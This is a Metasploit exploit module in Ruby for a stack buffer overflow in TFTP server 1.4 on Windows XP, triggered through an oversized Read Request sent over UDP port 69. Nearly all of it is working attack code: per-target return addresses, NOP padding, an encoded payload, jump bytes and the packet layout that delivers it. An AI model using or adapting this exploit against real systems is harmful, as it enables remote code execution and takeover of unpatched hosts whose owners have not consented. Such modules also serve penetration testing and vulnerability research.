TFTP Server 1.4 ST(RRQ) Buffer Overflow

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'TFTP server 1.4 ST(RRQ) Buffer overflow',
			'Description'    => %q{
						This exploit creats buffer overflow by sending a Read Request (RRQ) packet can also trigger a buffer overflow...  
			},
			'Author'         => 'JK and b33f',
			'Version'        => '',
			'References'     =>
				[
					['URL', 'http://securtyresearch.in/'],
					['URL','']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'TFTP server v1.4 Windows XP SP3',			{ 'Ret' => 0x00409605 } ],
					[ 'TFTP server v1.4 Windows XP SP0',			{ 'Ret' => 0x00418000 } ]
				],
			'Privileged'     => true,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 12 2012'))

		register_options([Opt::RPORT(69)], self.class)
	end

	def exploit
		connect_udp
		stage ="\x00\x01"
		stage << make_nops(50) + payload.encoded
		stage << rand_text_alpha(1487 - (payload.encoded.length+50))
		stage << "\xE9\x2E\xFA\xFF\xFF"
		stage << "\xEB\xF9\x90\x90"
		stage << [target.ret].pack('V')
		stage <<"\x00"
		stage << "netascii"
		stage << "\x00"
		
		#youlose = "\x00\x01" + filename + "\x00"		
		udp_sock.put(stage)
		disconnect_udp
	end

end